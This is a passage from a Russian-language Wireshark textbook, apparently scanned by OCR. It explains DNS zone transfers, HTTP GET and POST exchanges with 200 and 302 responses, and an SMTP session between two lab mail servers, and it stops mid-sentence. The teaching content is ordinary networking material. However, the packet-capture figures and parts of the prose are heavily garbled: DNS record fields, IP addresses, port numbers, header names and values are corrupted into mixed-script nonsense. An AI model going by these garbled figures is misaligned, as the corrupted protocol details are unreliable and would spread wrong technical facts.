) _kerЬel'Os,_tcp.cont:oso.loc•l: typt' ~. ci.ss IN, priof"ity 1, -.eiJht lte. port. 11, t•.-.:rt d'1sJ.contoso.locel 
) kp.sswd._tcp.contoso.loc•l: ~ SRV, ci•ss IN, priority 9, wicht lte, port 864, t•rset dns3.contoso.Joc•l 
) _ldap._tcp.contoso.loc•l: type: !АУ, cUss 1N, priority 1, wiJht 181, port 319, t"•rcet dnsJ.contoso.loul 
> _11.."ь.~._lldp.contoso.loc•l: t-ype SRV, cl•r.s IN, priority 1, -1.Ft lИ, port 11, t•rs•t ~sJ.COf\to.o.loc•l 
~ _tp.ss.t._udp.contoso.loc•l: ~ SRV, cl.8ss I•, priority 1, -ic+tt 118, port &61, t•rsrt d"ts).contoso.loc•l 

dм3.contoso.loc:•l: type А, cUss V., 8d6r 172.15.16.J39 
Ot88inOnsZoм.r..ccntoso.loc•l: type А, cl•ss :rн, 86dt" 172.16.16.139 
_1d•p._tcp.Def•ult·ftr'St•s.ite-n..-._sit:es.ac-it10nsloмs.contoso.loc•l: typi!! SRV, cl•ss IN, priot"ity а, wei!lht 1•, port: J.19, Urpt dtls3.contos.o.loc•l 
_ldap._tcp.00.•inDnsZone-s.cont:oso. local: type SAV. cl8ss IN, priorlty 9, wtctit 1Н, port JS9, tarpt: dns3.contoso.loc•l 
for"tstOnt.Zonts.cont.oso.loc1l: type А, cta'5 IN, •ddr 172.16.16.139 
_ld•p. _tcp.Oef•ult -first ·Sl.te-н..._sl.tes .forestOf\sZoмs.cet1toso.loc•l: ty~ SRV, c lass IH, prLority 1, -11ttt 1'8, port .J89, tar~t dnt.3.cO!"ltoso.loc•l 
_ld1p._tcp.ForestDnsZones.contoso.loC8l: type SAV, cl•ss IH, pr1or1ty е, -1кht 188, port ЗИ, t.,-..,-c dnt.3.contoso.loc•l 

) contoso.loc•l: type ~, cless IN, 8"- dns3 .contoso.loc•l 

..,..,, по:.~ ~11~ ~1.'.l..1'-lf.JH ·~~-.....,.uw ·l8~.....-... l<"IU1•~0tlli.tJJJ.н.Jf.J.Jtl.iitt1111•.i......--s,;c,-1"•*1~so4_,,_.. 

~ .... 
Рис. 9.21. Процесс полного переноса DNS-зоны 



ПРГЛ\ПРFЖЛlНИ[ Данные, содержащиеся в переносимой зоне, могут представл.ятъ не

малую опасность, если они акажутся в руках злиумъtшленников. На

пример, сделав запрос единственному DNS-cepвepy, можно получить 

в ответ всю инфраструктуру сети. 

Протокол передачи rипертекста (НПР) 
Протокол НТТР (Hypertext Traвsfer Protocol - протокол передачи гипер

текста) служит в качестве механизма доставки содержимого во Всемирной 

паутине, давая веб-браузерам возможность подключаться к веб-серверам для 

просмотра веб-страниц. В большинстве организаций протокол НТТР пред

ставляет наибольшую долю трафика, передаваемого по сети. Всякий раз, 

когда вы осуществляете поиск в Google, посылаете сообщение в Твитер или 
проверяете турнирную таблицу НБА на веб-сайте по адресу http: //www.espn. 
com/, вы, по существу, полыуетесь протоколом НТТР. 
Мы не будем рассматривать структуры заголовков в пакетах для передачи 

данных по прото1юлу НТТР, поскольку имеется так много различных реали

заций этого протокола, что структура заголовков в этих пакетах может су

щественно отличаться. В силу подобных различий оставляем вам в качестве 

упражнения самостоятельно разобраться в структуре НТТР-заголовков. Вме

сто этого мы рассмотрим примеры практического применения протокола 

НТТР и, в частности, извлечение и публикацию содержимого. 

Просмотр веб-страниц с помощью протокола НПР 

Файл перехвата 

http_google.pcapng 

Протокол НТТР чаще всего применяется для просмот

ра веб-страниц, получаемых от веб-сервера, с помощью 

браузера. В примере из файла перехвата http _google. 
pcapng демонстрируется подобная разновидность передачи данных по прото
колу НТТР с использованием ТСР в качестве протокола транспортного уров

ня. Обмен данными между клиентом, находящимся по адресу 172. lб. lб .128, и 
веб-сервером компании Google, расположенным по адресу 74 .125. 95 .104, на
чинается с трехэтапноrо процесса установки связи по протоколу ТСР. 

Как только связь будет установлена, первый пакет, передаваемый клиен

том серверу, будет помечен как пакет протокола НТТР (рис. 9.22). 
Этот пакет НТТР доставляется по протоколу ТСР через порт 80 сервера О. 

Он считается стандартным портом для обмена данными по протоколу НТТР, 

хотя для этой цели нередко применяются и другие порты, в том числе с номе

рами 8080, 8888 и т.п. 
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• Wireshark · Packet 4 · http_google 

> F~ 4: 681 bytes on wire (5448 bits), -w bytes captured (5448 Ьits) 
Ethernet II, Src: Inte1Cor_Sb:7d:4a (86:21:6a:Sb:7d:4a), Dst: D-Link_21:99:4c (80:95:Sd:21:99:.tc) 
Internet Protocol Version 4, Src: 172.16.16.128, Ost: 74.125.95.184 

о 

Tr•nsaission Control Protocol, Sгс Port: lбеб (1606), Ost Рогt: 80 (8&), ~q: 2882691768, Ack: 2775577374, Len: 627 
text т 11ns. fe1 Protocol 

TP/1.1\r\n 
> [Export Info (chat/Soquonco): GЕТ / НТТР/1.1\г\п] 

R~uest Нetkod: GET 
f) Roquost URI: / 

Request Version: НТТР/1.1 
Нost: """"'·800Sle.c08\r\n 
U!fer-Agent: №zilla/S.e (Windows; U; Windows NТ б.1; en-US; rv:l.9.1.7) ~cko/20891221 Firefox/3.S.7\r\n 
Accept: tert/ht8l, opplicotion/xht111l+xвl, applicetion/XJtl; q•e. 9, * /• ;q•e. 8\r\n 
Accept-Language: en-us,en;q•0. 5\r\n 
Accept-Encoding: gzip,deflate\r\n 
Accept-Chiirset: IS0-8859-1,utf-a;q=-e. 7, •;q..e. 7\г\n 
Keep-Alive: 388\r\n 

х 

Connection: keep-alive\r\n 
( tгuncated) Cookie : PRE F • I0-257913а938ебс248: U-267c896bSf39f Ь6b: FF -4: LD-en: NR•l8: ТН•1268730654: 1..М-1265479336: GН-1 ]" S.. 

\г\n 
Гfyll rcgucst UBI; http· //www googl<; c911/J 
[НТТР rcquest 1/1] 
(Rcsoonse in frame; 121 

Ао..:4· r~tuJIJМ6 · ~172.16.11.116 · ~x.JZS.И.J04 · Pт1tzrDl:нrrP l6'{ltA; '81 • /NrxGEТ/~11.1 

Рис. 9.22. Первоначальный пакет с НТТР-запросом по методу GET 

Пакеты НТТР распознаются по одному из восьми методов запроса, 011ре

деленных в спецификации протокола НТТР версии 1.1 (подробнее об этом 
см. по адресу http:/ / www. iana. org/ assignments / http-methods/ http-methods. 
xhtml). Метод запроса обозначает действие, которое требуется выпол

нить стороне, передающей пакеты, на стороне их приема. Как показано на 

рис. 9.22, в данном пакете указан метод GET для запроса URI (Uпiforш Resource 
Iпdicator -универсальный указатель ресурсов) в виде/, а также версия прото

кола НТТР/1.1 для данного запроса 8. Эти сведения сообщают, что клиент 110-
сылает запрос для загрузки (по методу GET) корневого каталога(/) на веб-сер
вере, где применяется версия 1.1 протокола НТТР. 

Далее хост посылает сведения о себе веб-серверу. Эти сведения включают в 

себя применяемый браузер (поле User-Aqent- пользовательский агент), при
нятые в браузере языки (поле Accept-Languaqes) и сведения из сооkiе-файла, 
которые отображаются в нижней части окна перехвата. Сервер может вос

пользоваться этими сведениями с целью выяснить, какие именно данные сле

дует возвратить клиенту, чтобы обеспечить совместимость. 

Когда сервер принимает НТТР-запрос по методу GET в пакете 4, он отвеча
ет подтверждающим пакетом ТСР АСК и начинает передавать запрашиваемые 

данные в пакетах 6-11. Протокол НТТР служит только для обмена командами 
уровня приложений между клиентом и сервером. Почему же все эти НТТР-па

кеты появляются как пакеты ТСР под заголовком протокола в списке паке

тов? Когда начинается передача данных, эти пакеты будуr обозначены в окне 



Wireshark со списком пакетов как ТСР, а не НТТР, поскольку в них отсутству
ют заголовки с НТТР-запросами и ответами. Следовательно, когда происхо

дит передача данных в столбце Protocol, появится обозначение ТСР вместо 

НТТР. Тем не менее это часть процесса обмена данными по протоколу НТТР. 

Данные посылаются сервером в пакетах 6 и 7, а подтверждение от клиен
та - в пакете 8. Дополнительные данные посылаются в пакетах 9 и 10, а оче

редное подтверждение - в пакете 11, как показано на рис. 9.23. Все эти паке
ты представлены в Wiresl1ark в виде сегментов ТСР, а не пакетов НТТР, хотя 
протокол НТТР по-прежнему отвечает за их передачу. 

No. Tme So&xce Destirwltian Pf""""4 Lenolh rnr. 
б е._ 74.US.95.164 172.16.16.128 ТСР 1468 (iCP ses-nt of а r'easse8Ьlrd POU] 

7 ··- 74.125.95.104 171.16.16.128 ТСР 146е {ТСР seperrt of 1 reassNЬled POU] 

1 
8 8.- 172.16.16.128 74.125.95.104 ТСР 54 1686 .... S& (АСК] Srq•288269Z39S Ack•277SSИ186 Win•16872 ten-e 

9 0.- 74.12S.9S.184 172.16.16.128 ТСР 1460 (ТСР sepie:nt of а reo11ss81Ьled POU] 

18 8-- 74.lZS.95.104 172.16.16.UB ТСР 156 (ТСР sepient of • reassNЬIIO PDJ] 

1 11 а._ 1п.1ь.16.uа 74.l:ZS.95.1&4 ТСР 54 168(; -. 88 f АСК l Sю•2е82692395 At:k-.2775581694 Win•l6872 lens& 

Рис. 9.23. Передача данных между браузером клиента и веб-сервером 
по протоколу ТСР 

Как только данные будут переданы, поток данных будет воссоздан в 

Wiresl1ark для просмотра, как показано на рис. 9.24. 

/f Wireshork · Pocke\ 12 · http_googl• 

г;;;:;;;. 12: 591 byt•s оп wir. (4728 bit~s), 591 bytes coptured (4728 bits) 

J > ~t~ernet II, Src: O-Link_21:99:4c (ee:&S:5d:21:99:4c), Ost: Inte1Cor_Sb:7d:4o (00:21:6a:Sb:7d:4•) 
Internet Protocol Version 4, Src: 74.125.95.184, Ost: 172.16.16.12.8 

о 

Trans•ission Control Protocol, Src Port: 88 (88), Ost Port: 1686 (1686), Seq: 2775581694, Ack: 2982692395, Len: 537 

> (S Reoss..Ьl•d ТСР S.pents {4857 bytes): #6(14&6), #7(14&6). "9(14&6). #l&(l&l). #ll(S37)) 
't 

Request Version: КТТР/1.1 
О Stotus Code: 200 

Response Phrase: ок 
Oete: Tue, 89 Feb 2810 81:18:37 GМT\r\n 

Expires: -1 \r\n 
Ceche-Contгol: private, ni•x-age-8\r\n 
Content-Type: tert/ht•l; cha.rset-UТF-8\r\n 
Content-Encoding: szip\r\n 
Seгver: gws\r\n 

" Content-Length: 4633\r\n 
[Content l•ng1:h: 4633] 

X-XSS-Pro.tection: Q\r\n 
\r\n 
[НТТР response 1/1) 
(Тiм since request: е.104147800 seconds] 
ГAcguest in freм · 41 

Content-encoded entity Ьоdу (gzip): 4633 bytes - > 11308 bytes 

> Line-based text data: text/htal 

fl;o.. i1· r"" t11N,J!S·S:vca МJ.15.Jr.lfН·~1n11..11.m·~НТТP·tW'flllt:SJJ ·1пЬнттР11.1№0К~ 

Рис. 9.24. Окончательный НТТР-пакет с кодом состояния 200 

х 
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ll!QШ!рФШ\1 Во многих примерах при просмотре списка пакетов вам не удастrя уви

деть удобачитаемые данные в формате HTML, поскольку эти даю-tьtR 
уплотнены в формате gzip ради повышения пропускной способности. 
На это указываетr,,я в поле Content-Encoding (Кодирование содержи
мого) в НП'Р-ответе от веб-сервера. Эти данньtR становятся удобачи

таемьtми лишь в том случае, если просматривается поток полностью 

декодированных даииых. 

В протоколе НТТР применяется целый ряд предопределенных кодов от

вета для обозначения результатов, получаемых в после выполнения метода 

запроса. В данном примере наблюдается пакет с кодом состояния 200 О, ко
торый обозначает успешное завершение метода запроса. В этот пакет входят 

также отметка времени, дополнительные сведения о кодировании содержи

мого и параметры настройки веб-сервера. Как только клиент получит этот па

кет, транзакция завершится. 

Публикация данных по протоколу НПР 

Фай.л перехвата 

http_post.pcapng 

Итак, рассмотрев процесс получения данных от веб-сер

вера, обратим внимание на процесс отправки данных сер

веру. В частности, файл перехвата http_post.pcapng со
держит очень простой пример выгрузки данных в виде публикации пользова

телем своих комментариев на веб-сайте. По окончании трехэтапного процес

са установки связи по протоколу ТСР клиент (110 адресу 172 .16 .16 .128) посы
лает НТТР-пакет веб-серверу ( 69 .163 .176. 56), как показано на рис. 9.25. 

В данном пакете применяется метод POST О для отправки данных веб-сер
веру на обработку. В применяемом здесь методе POST указывается URI (/wp
commen ts-post .php) 8 и версия протокола НТТР (НТТР/1.1). Чтобы увидеть 

содержимое публикуемых данных, разверните раздел HTML Form URL Encoded 
(Закодированные данные НТМL-формы) пакета О. 

Как только данные будут переданы в описанном выше пакете с запросом по 

методу POST, далее будет отправлен пакет с подтверждением АСК. Как показано 
на рис. 9.26, сервер ответит пакетом 6, передавая код ответа 302 О, который 
обозначает "найдено". 

Код ответа 302 обычно обозначает переадресацию по протоколу НТТР. В 
поле Location (Местоположение) данного пакета указывается место, куда кли
ента следует переадресовать 8. В данном случае это место находится на пер
воначальной веб-странице, где были опубликованы комментарии. Клиент вы

полняет новый запрос по методу GET, чтобы извлечь содержимое из нового ме
ста, откуда они посылаются сервером в ряде следующих пакетов. И, наконец, 

сервер передает код состояния 200, и на этом обмен данными завершается. 



• W1rc-sh1rk. Packd 4. http_post 

ГFrме 4:1175 bytes-;,;-wirl! (9488 Ыts), 1}7s Ьytes c.ptu;;d (94ёebtts) --
Ethernet II, Src: Inte1Cor_Sb:7d:Ч (88:21:61:Sb:7d:4il}, Dst: 0-Link_21:99:4c (ee:es:sd:21:99:4c) 

Int.c-rnet Protocol Version 4, Src: 172.16.16.128, Ost: 69.163.176.Sб 

о 

> Tr'1n511.ission Control Prot:ocol, Src Рогt: 1989 (19!9) , Dst Port: 68 (88 , ~ : 2sese742U, Ack: 3740859985, ten: 1121 

l""t<e'Xt fl"'ons гr ~rotocol 
Т f -~ - t. р НТТР/'1.\ \n 

\ [Expert Info (Ch11 t/~uence): POST /wp·coмtnU-post.php tfTTP/1.1\r\n] 

R~ues t '1ethod: РОSТ 0 
Request URI: /wp·c~nts-post.php 6 
R~uest Veгsion: НТТР/1.1 

Нost: www.chriss1ndeгs.org\г\n 

User-A&ent: fotozilla/S.8 (Windows; U; Windows NТ 6.1; en-US; rv:l.9.1 . 7} Gecko/20891221 Firefox/3 .S .7\r\n 
Ac;cept: tel(t/htlll, <tpplication/xht•l+Xlll, application/xal;q-e. 9, • j• ;q-В.8\r\n 

Accept-lancuace: en -us, en; q•8. S\r\n 
Ac.cept -Encoding: gzip,deflate\r\n 
Accept-Charset: IS0·8859-1,utf·8;q"'8. 7, • ;q-e. 7\г\n 
Keep-Alive: 398\r\n 
Ccnnection: keep-alive\r\n 
Referer: http: //WflN, chr"issande rs .огс/ ?р-318\г\n 
(tгuncat~]Cookie: _ut..•84195659. S8869S863.1261144842.126Sб68796.1265682737. 28; _ut•z•8419S6S9.1264688282 .12 ·

Content-т~: •ppl1cat ion/x-l!Мf- fоГ'8-UГ lcncoded\r \n 
Contcnt-length: 179\r\n 
\r\n 
(Full rcqчtst URI· bttp·//ww cbri$$pndtf5 Q[plwo-csвcnts-DOst phpJ 

[НТТР rcquest 1/2) 
fRcsoonsc in fraee· 61 
Гrft:xt rcgucst in frмr· 71 

v НiМL Fo,.. URL Encoded: applicatlon/x---fOn1-urlcncodcd О 
v Fon1 itN: "author" • "Chris Sandггs" 

Кеу: 11uthor 
Value: Chris Sandcrs 

.., fom itct1: "e.aail" • "chr"isfchriss1nders.or"g" 
ICey: eiUil 
Valuc: chгisfchrissandcгs.o"s 

""' fol"'8 itN: "url" • "http://www.chr"issendcr"s .org" 
ICey: uгl 

valuc: http: ! /.,,,,,,,,. chrissanders .ora 

NA.4 lirw\'l.IJl1/11D•JCu\:rJlZ16.Jf..11l·~:O.JGЗ.J7&.Sl•Praa7a:l-НТТP·~JilY·l•POSГ'w~НТТP/l.J~~ 

~ 

Рис. 9.25. НТТР-пакет с запросом по методу POST 

х 

i/IW•бNJt Pкtwt6·httppott о х 

fr- 6: t64 t.,t•• on wtr. (7712 b1ts), К4 ~ c.P,turcd (1112 Ыts) -

1 ~ ltM.-...:t II, Src: 0·1.1nk_"l1:99~-'I: ('8:1'$:S4:U:t9:4c}, D'$t1 t"t11Cor_Sb:74:Ч (M:U:":$1,:70: ... ) 
1'".1.-.it't "'°tocol V1r•Jon 4, Src:1 69.16).J7'6.S6, Ost1 172.15.15.121 

rr.,.мJ,н:l011 Ccl!'ttrol mtocol, Src Pol'"t: М ае}, tьt Port: 1919 1'&9), Мq: 374f~'~'"c.'•';.' ""'..-''..,,'-.---'.-"..,""·•''""•' •_,1'._ ___ ~------•I . ..,.., ,,,_ _____ ~ _____ _..._. __ _ 
[L!:.,ef't l"fo (Cl\llt/Seque.!0Ce)1 ННР/1.1 )el ~nd\r\11} 
llequ11t \Нr1lon: НТТР/1.1 
Statu1CCIМ:)82 0 
h•,.,.1•P'tlr11c: koulМI 

D8tt; TIНI, " ftb Mll eJ:)8;l6 (JП\r\n 

5-Yer: .i.p.c:ht\r\" 
l(~ly:l'ttP/4.•.9\r\11 

firpJrt1: Wtd, 11 Jan 1!114 ts:88:M GНТ\r\11 

Cac:ht·Cor1t1"0}: 110·c•c:hcl, -st·rtv•ltdat•, -•·ч•••\r\n 
Pra ... : no·c:ac:lм\r\n 

Slt·{ODltt1: c:_,.t_aU1:i'tor_8d7d<882U2..ИJc:171itfJ5a2d147'91'iь.<hrt1+SancJtr1; CXJ1\r4's"s.tu.-0.y, 22-)an·ll 81:Я:27 IJП; "tit-l\r\11 

S.t·CDOkl.1: c-"t_a.it:hor __ tl_fd7dc882N2..Иkl?ef3Sa2cf7•7't1Sb-c;.hrld48chrlssanМr•.Ol"'J; txplres•Sat.wday, 22·}а'1·11 е7:5е:27 (illfТ; path•/\r\n 

S.Ct-COOkit: c-nt_a11t"°'"_url_Н7dc8'2112dlk1Т.f3S.2d147'1Sь-.f'rttpXJAl2.#'2f-.chri111Nkгi.orJ; V<pirls-Satllt"day, 22·1811-11 е7:5е:27 акт; ptcU.-/\r\n 

tast-4'Ьdlf11d: "fu1, 89 F1b Nle 82:И 27&4T\r\n 
f) ~oc:atlo11 1 h-ttp://-.c:hrls!8"61rs.ot"aflP"J18&cP8(1•l•c:-nt-1•)81l\r\n 

Vary: Acctpt -f/'КodJn1\r\" 
Conttnt-fncodtt11: 1:tp\r\" 

v COflt1rit-~t'f11th: llt\r\n 
(C.o<lt1ntl1"1t1<1: 18) 

rнp·AliYI: tl-t•2, -x-1•\r\n 
Connorrtion• 1(нp·"1J111\r\n 
Cont8f'tt·Typc' t••t/hь.l\r\'I 

"'" {НТТР raspon18 1/2) 

f'1• si"tt r•q\ICst: 1.35'6727918 11coml~J 

[!taцu1...inf~~ 
{Mr'J' W"CJ\ ln ft• · zl 
(Мc)jtrc\PМ•• lofr"f' 111 

Рис. 9.26. НТТР-ответ с кодом состояния 302 применяется для переадресации 



Простой протокол передачи 

электронной почты (SMTP) 
Если просмотр веб-страниц считается наиболее распространенным видом 

деятельности пользователя в Интернете, то отправка и получение электрон

ной почты, вероятно, стоит на втором месте. В качестве стандартного для пе

редачи электронной почты на платформах вроде Microsoft Excl1ange и Postfix 
служит протокол SMTP (Siшple Mail Tгaнsfer Protocol - простой протокол пе

редачи электронной почты). 

Аналогично протоколу НТТР, структура заголовка в пакете SMTP может 
меняться в зависимости от конкретной реализации ряда функциональных 

средств, поддерживаемых клиентом и сервером. В этом разделе рассматрива

ются основные функциональные возможности протокола SMTP, а также по
казывается, каким образом выглядит отправка электронной почты на уровне 

пакетов. 

Отправка и получение электронной почть1 

Архитектура, лежащая в основе системы обмена электронной почтой, по

добна структуре почтовой службы США. Написав письмо, вы запечатываете 

его в конверт и бросаете в почтовый ящик, почтальон извлекает его из почто

вого ящика и доставляет в свое почтовое отделение, где оно сортируется. От

туда письмо доставляется в другой почтовый ящик того же почтового отделе

ния, отвечающего за его доставку адресату. Письмо может пройти несколько 

местных почтовых отделений и даже центральные почтовые отделения, пред

назначенные исключительно для распределения почты по региональным по

чтовым отделениям. Такой поток почтовой информации наглядно показан па 

рис. 9.27. 
Доставка электронной почты действует по тому же самому принципу, хотя 

при этом применяется несколько иная терминология. На уровне отдельного 

пользователя физический почтовый ящик заменяется цифровым почтовым 

ящиком, отвечающим за хранение и позволяющий отправлять и получать 

электронную почту. Доступ к этому почтовому ящику осуществляется с по

мощью почтового агента полъзователя (Mail User Ageпt - MUA), представляю
щего собой клиентскую программу для работы с электронной почтой вроде 

Microsoft Outlook или Mozilla Thunderblrd. 
Когда вы отправляете сообщение, почтовый агент пользователя посылает 

его агенту пересыл:ки почт'Ы (Mail Transfer Ageпt - МТА). Этот агент нередко 

называется почтовым сервером, наиболее распространенными примерами 

которого служат приложения Microsoft Excl1ange и Postfix. На платформе 



Uпix чаще всего используются серверные приложения Sendmail или Exim. 
Если электронная почта предназначается для того же самого домена, отку

да она отправляется, то агент МТА может непосредственно доставить ее в 

почтовый ящик получателя без дополнительного обмена данными. Если же 

электронная почта посылается в другой домен, агенту МТА придется прибег

нуть к услугам DNS, чтобы найти IР-адрес почтового сервера получателя, а 
затем передать ему сообщение. Следует, однако, иметь в виду, что почтовый 

сервер нередко состоит из других компонентов, наподобие агента по до

ставке почты (Mail Delivery Ageпt - MDA) или агента отправки почты (Mail 
Submission Ageпt - MSA). Но с точки зрения сетевого анализа нас больше 
интересуют понятия клиента и сервера. На рис. 9.28 наглядно показано, ка
ким образом происходит пересылка электронной почты по протоколу SMTP. 
Ради простоты будем называть далее агента MUA почтовым клиентом и аген
та МТА почтовым сервером. 

Месrная досrавка почты 

f:Ut-~Al---------41~ 
Дом отправителя Месrное почтовое 

отделение 

Региональная досrавка почты 

Дом 
получателя 

~ 
1:::1 1:::1 

~ ,.щ ~ 
Дом оmравителя Месrное почтовое Удаленное Дом 

отделение почтовое отделение получателя 

Междугородная досrавка почты 

~--A---·ml---~A--~ 
Дом оmравителя Месrное почтовое Региональное Удаленное Дом 

отделение распределительное почтовое отделение получателя 

почтовое отделение 

Рис. 9.27. Отправка письма через почтовое отделение 



Досrавка no nо1W1ыой сети 
Отправитель: user l@domain-abc.com, получатель: user 2@domain-abc.com 

g]-sмw --~'"''"°" 
Почтовый агент пользователя (MUA) 
[Почтовый клиент: отправитель] 

Агент пересылки почты (МТА) 
[Почтовый сервер: domain-abc. com] 

Почтовый агент пользователя (MUA) 
[Почтовый клиент: получатель] 

Досrавка no внешней сети 
Отправитель: userl@domain-abc.com, получатель: user2@domain-xyz.com 

~=!d...D SМ№ -~SMTP -~'"""°" 
Почтовый агент 

пользователя (MUA) 
[Почтовый клиент: 

отправитель] 

Агент пересылки почты (МТА) 
[Почтовый сервер: 

domain-abc. com] 

Агент пересылки почты (МТА) 
[Почтовый сервер: 

domain-xyz .com] 

Почтовый агент 
пользователя (MUA) 
[Почтовый клиент: 

получатель] 

Рис. 9.28. Пересылка электронной почты по протоколу SMTP 

Отслеживание сообщений электронной почты 
Итак, имея основное представление о том, каким образом передаются со

общения, можно приступить к анализу пакетов, представляющих данный про

цесс. Начнем со сценария, наглядно показанного на рис. 9.29. 

СетьSКУNЕТ 

Пользователь Windows, 
оmравляющий почтовые 

сообщения 

Почтовый клиент 
172.16.16.Ш 

Почтовый сервер Postfix 
skynet.local 

172.16.16.221 

Сеть CYBERDYNE 

Почтовый сервер Postfix 
cyberdyne.local 
172.16.16.231 

Пользователь Windows, 
получающий почтовые 

сообщен1111 

Почтовый клиент 
172.16.16.Ш 

Рис. 9.29. Отслеживание сообщений электронной почты от их отправителя 
к получателю 

Процесс отправки сообщений электронной почты в данном сценарии про

исходит в три этапа, как описано ниже. 

1. Пользователь посьшает сообщение со своего рабочего компьюте

ра, находящегося по адресу 172 .16 .16. 225. Клиент электронной по
чты передает это сообщение по протоколу SMTP локальному серверу 



электронной почты, расположенному по адресу 172 .16 .16. 221 в домене 
skynet. local. 

2. Локальный сервер электронной почты принимает сообщение и переда
ет его по протоколу SMTP удаленному серверу электронной почты, рас
положенному по адресу 172 .16 .16. 231 в домене cyЬerdyne. local. 

3. Удаленный сервер электронной почты принимает сообщение и по
мещает его в соответствующий почтовый ящик. Клиент электронной 

почты на рабочем компьютере пользователя, находящейся по адресу 

172 .16 .16. 235, извлекает данное сообщение из почтового ящика по 
протоколу IMAP. 

Первь1й зтап: от клиента к локальному серверу 

Начнем постепенное рассмотрение данного про-Файл перехвата mail _ 

sender_client_l.pcapng цесса с анализа пакетов на первом этапе, представ

ленном в файле перехвата mail_sender_client_ 
1. pcapng. Сетевой трафик, перехваченный в этом файле, начинается с того 
момента, когда пользователь щелкает на кнопке Send (Отправить) в своем кли

енте электронной почты, инициируя тем самым процедуру трехэтапного про

цесса установки связи по протоколу ТСР между своим рабочим компьютером 

и локальным сервером электронной почты в пакетах 1-3. 

l1!QЩ!pMlllll Анализируя перехваченные пакетъt, упоминаем'Ые в этом разделе, не 

обращайте особого внимания на ошибки вроде ETНZRNET 1!'RАМЕ СНЕСК 

SEQOENCE INCORRECT (Неправилъная последоватм.ъностъ фреймов 

Ethernet). Они возникают вследствие перехвата сетевого трафика в ла

бораторной среде. 

Как только соединение будет установлено, в действие вступит протокол 

SMTP, начав передачу сообщения от пользователя к серверу. Каждый SМТР-за
прос можно просмотреть на панели Packet Details, хотя для этого имеется и бо

лее простой способ. В частности, SMTP считается простым транзакционным 
протоколом, а в рассматриваемом здесь примере передается открытый текст, 

и поэтому можно легко проследить весь поток данных по протоколу ТСР, что

бы просмотреть всю транзакцию в одном окне. С этой целью щелкните пра

вой кнопкой мыши на любом пакете и выберите команду Followc>TCP Stream 

(Отслеживатьс>Поток ТСР) из контекстного меню. Полученный в итоге по

ток данных приведен на рис. 9.30. 

255 



11. Wireshark · Follow ТСР Stream (tcp.stream eq 0) . mail_sender_client_ 1 

!220 uil&l ESl\ТP Postfix (UЬuntu) О 
EHtO [172.16.16.225] f) 
250-nil01 
250-PIPELINDIG 
250-SilE 10248000 
250-1/RfY 8 
250-EТRN 

250-STARTTLS 
250-ENНAНCEDSTAТUSCOOES 

253-BBITIШiE 

250 О5Н 
l'IAIL fROМ:<sanders@skynet.local> SIZE=556 С. 
256 2.1.0 Ok 
RCPT TO:<sander~rdyne.local> 0 
250 2..1.5 Ok 
DATA 
354 End data with <CR><tf>.<CR><lF> ~ 
То: Chris Sanders <sanders@cyberdyne.local> 
fl'Ol8: Chr-is Sandeгs <sandeгs@skynet.local> 
Subject: Неlр! 
М.,ssage-ID: <5682DB80.4&l&бe78skynet.local> 

Date: Tue, 29 Dec 2915 14:14:&8 -0500 

о 

User--Agent: t10zilla/S.0 (Windows NТ 10.0; WOW64; rv:ЗB.0) Gecko/20100101 
Thunderbird/38.S.0 f) 
MIНE-Veгsion: 1.0 
Content-Type: text/plain; charset:utf-8; format=flowed 
Content-Transfer-Encoding: 7bit 

I need your help. The systea has Ьесоmе self а are. Dn second thought, 
why at11 I sending this frOt11 а syste111 that сап most certainly intercept 
it? Oh well ••.. 

250 2.0.0 Ok: queued as 931C4400DS 
QUIТ 

221 2.0.0 Byl!! Q 

ldi.rtpti(s; 1-plз(S;or.ms. 

х 

\ Ent>-e corr•ersatiorJ (9Sl Ьytes) • ] Show data as АSСП • ] Stream !:О::]] 

Find: '-------------------------' 1 Fnd~xt 1 
ttde llls str~ [ Pmt 

Рис. 9.30. Просмотр потока данных, передаваемых по прото
колу ТСР от клиента электронной почты к локальному серверу 

Как только соединение будет установлено, сервер электронной поЧты от

правит клиенту довольно длинный заголовок (так называемый баннер) почто

вой службы в пакете 4, чтобы указать на свою готовность к получению коман
ды. В данном случае он обозначает себя как почтовый сервер Postfix, работаю
щий в версии Ubuntu операционной системы Linux О. Он также указывает на 
свою способность принимать команды расширенного проmО'Кола SMTP (ESMTP). 
Протокол ESMTP - это расширение спецификации SMTP, позволяющее вы
полнять дополнительные команды при пересылке почты. 

Клиент электронной почты отвечает на это выдачей команды EHLO в паке

те 5 8. Это приветственная команда, предназначенная для идентификации 



хоста отправителя, когда поддерживается протокол ESMTP. Если же протокол 
ESMTP недоступен, клиент выдаст команду НЕLО, чтобы идентифицировать 
себя. В данном примере отправитель идентифицируется по его IР-адресу, хотя 

для этой цели может быть также использовано доменное имя. 

В пакете 7 сервер отвечает списком команд, включая VRFY, STARTTLS и SIZE 

10240000 О. В этом списке отражены те команды, которые поддерживаются 

SМТР-сервером, и он предоставляется клиенту с целью известить его, какими 

командами разрешается пользоваться при передаче сообщения. Такое согла

сование функциональных средств происходит в начале каждой транзакции по 

протоколу SMTP перед отправкой сообщения. А передача сообщения начина
ется с пакета 8 и занимает почти весь остальной перехваченный трафик. 

В протоколе SMTP используется простой набор команд и значений их па
раметров, посылаемых клиентом, после чего следует код ответа от сервера. 

Это очень похоже на работу таких протоколов, как НТТР и TELNET, и сдела
но ради простоты. Примеры запроса и ответа можно наблюдать в пакетах 8 
и 9, где клиент посылает команду МAIL с параметром FR<»f: <sanders@skynet. 
local> SIZE=556 8, на что сервер отвечает кодом состояния 250 с параметром 

2 .1. О Ok, обозначающим успешное завершение запрашиваемого почтового 
действия. Здесь клиент обозначает адрес электронной почты отправителя 

и длину сообщения, а в ответ сервер извещает, что эти данные получены и 

вполне приемлемы. Аналогичная транзакция происходит снова в пакетах 10 
и 11, где клиент выдает команду RCPT с параметром ТО: <sanders@cyЬerdyne. 

local> О, а сервер отвечает очередным кодом состояния 250 с параметром 

2.l.50k. 

l11QIИIЦl!lil Если желаете ознакомитъся со всеми доступными в SMTP командами 
и их параметрами, обратитесъ по адресу https://www.iana.orq/ 
assignments/mail-paraшeters/mail-parameters .xhtml. А если вы 

хотите ознакомиться со всеми кодами ответа, то обратитесъ адресу 

https://www.iana.orq/assignments/smtp-enhanced-status
codes/smtp-enhanced-status-codes.xml. 

Остается лишь передать само сообщение. Клиент инициирует этот про

цесс в пакете 12, выдав команду DATA. На это сервер ответит кодом 354 с со

общением Ф, что он создал буфер для приема почтового сообщения и пред

лагает клиенту начать его передачу. В строке, содержащей код ответа 354 с 

сообщением, клиенту предлагается послать знак точки в отдельной строке 

